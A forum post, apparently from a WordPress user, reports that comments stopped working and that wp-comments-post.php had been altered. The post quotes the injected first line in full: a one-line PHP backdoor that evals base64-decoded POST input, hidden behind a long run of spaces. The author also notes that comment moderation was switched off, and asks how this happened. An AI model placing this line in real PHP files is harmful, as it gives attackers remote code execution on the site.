Comments Stopped Working: Responds with Page cannot be displayed errors

Resolved this, so thought I’d post my fix for others.

Also because I’m interested in ideas on how this change came about.

Using 2014 Theme: Apparently, commenting was broken by updates I did about 6 days ago. I don’t even remember which ones I did. I think I updated theme and some plugins. But, as of the last couple of days, the user has been reporting a “page not found” kind of error when hitting the button to post a comment.

The failing page was wp-comments-post.php The date on the file on the server was 9/18.

I started looking for the problem and compared an old wp-comments-post.php file to the current one.

The old file started with:

<?php
/**

The current file was changed only on the first line and was:

<?php                                                                                                                                                                                                                                                               eval(base64_decode($_POST['n5388ff']));?><?php

Note the end of the line after all the spaces. Once I found the difference, I removed it and fixed my problem.

(Also, the checkbox for “Before a comment appears
Before a comment appears Comment must be manually approved” was changed to unchecked.

Any idea why/how the code got changed?